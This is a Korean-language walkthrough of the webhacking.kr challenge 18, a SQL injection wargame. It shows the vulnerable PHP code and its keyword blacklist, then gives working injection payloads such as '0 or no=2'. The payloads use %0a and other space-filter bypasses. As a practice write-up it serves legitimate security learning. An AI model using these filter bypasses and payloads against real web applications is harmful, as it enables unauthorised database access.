webhacking.kr 18번-SQL INJECTION
SQL INJECTION
<?
if($_GET[no])
{
if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));
if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}
}
?>
if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");
eregi란 문자열 필터링 함수이다
space
/
(
)
\t
\
&
union
select
from
0x
를 필터링한다
"select id from challenge18_table where id='guest' and no=$_GET[no]"
hi guest가 나올 때는 1을 입력했을 때이다!
테이블을 생각해보자
id no
admin
guest 1
admin의 no값은 0혹은 2로 예측가능하다.
id='guest'를 무력화 시켜야 한다.
"select id from challenge18_table where id='guest' and no=0 or no=2
를 만들어주면
우선순위가 and>or 이므로
(id='guest' and no=0) or no=2 가 된다.
즉, id='guest'이고 no=0인 값 or no=2인 값이 된다.
0 or no=2를 입력해주면 된다.
하지만! no 값에 공백은 필터링 처리되므로, 공백을 우회해주어야 한다.
공백을 우회하는 방법
1. Tab %09
2. Line Feed %0a
3. Carriage Return %0d
4. 주석 /**/
5. 괄호 ()
6. 더하기
공백을 우회하는 방법 /를 이용한 주석이나, \t, \n 등이 있다.
/와 \t는 eregi에 의해 막히므로 \n을 사용하면 된다.
그런데, \n을 직접 써주면 \따로, n따로 url 인코딩이 되어버린다.
그래서 \n을 같이 인코딩한 %0a라는 값을 직접 주소창에 적는다.
blind sql injection을 활용하여
limit를 사용해보자(공백은 %0a로!)
0 or 1 limit 1,1
0 or no limit 1,1
0 or 1=1 limit 1,1
0 or 1=1 limit 1,2 도 가능!
0 or no>1
0 or no=2
이상하게 id='admin'으로 하면 쿼리가 안돌아온다.